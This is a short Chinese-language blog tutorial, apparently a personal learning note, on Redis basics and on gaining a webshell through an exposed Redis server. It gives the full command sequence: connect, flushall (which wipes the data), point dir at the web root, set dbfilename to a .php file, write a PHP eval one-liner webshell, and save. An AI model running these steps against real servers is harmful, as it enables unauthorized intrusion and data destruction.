Learn Redis & Getshell via Redis 2016-07-16 #redis #redis getshell
前言
redis是一个NoSQL数据库,也就是非关系型数据库(MySQL是关系型数据库),是一个基于内存,的key-value型数据库,当然他也可以保存到硬盘达到持久型。
因为看各位师傅都在发关于redis
相关的东西,企业中用的也不少,所以简单研究一下redis的用法以及用它来getshell。
安装redis
在Ubuntu下安装redis
sudo apt-get install redis-server
在mac下安装redis
brew install redis
redis基础
要研究redis来getshell,首先得明显redis的基础运行流程。
可以来看这篇文章:http://www.runoob.com/redis/redis-tutorial.html
我花了两天时间把这篇文章看完了,其中也大概明白了如何利用redis来getshell。
利用redis来getshell
getshell的原理是通过配置数据库文件目录和地址,然后写入数据库一句话,最终getshell。
在这篇文章里面,详细讲解了redis的配置。
可以看到其中有dbfilename
,可以用来指定本地数据库文件名,默认是dump.rdb
。
而dir
配置可以指定本地数据库存放目录,把这两点结合起来,我们再往数据库中写入脚本木马,即可达到getshell的效果。
首先我们使用redis-cli
连接redis:
redis-cli -h 192.168.0.16 -p 6379
随后为了让我们写入的数据可以在数据库文件靠前一点,可以先执行flushall
。
flushall会清空数据库的所有内容……,各位客官慎用。
不过好在之前看到jaychou师傅发了一个善待Redis,远离flushall,大家可以学习学习,我这个大家当做科普就好。
flushall以后,我们来设置数据库目录:
CONFIG SET dir /var/www/html/
然后设置文件名:
CONFIG SET dbfilename 2.php
随后将脚本密码写入数据库:
set webshell "<?php @eval($_POST['k']) ?>"
最终执行save
保存到数据库文件:
save
然后看web目录下,shell已然躺在里面:
最后总得说点什么
redis getshell不算什么新技术,然而我现在才开始研究,感觉自己真是菜鸡,希望师傅们多带带我。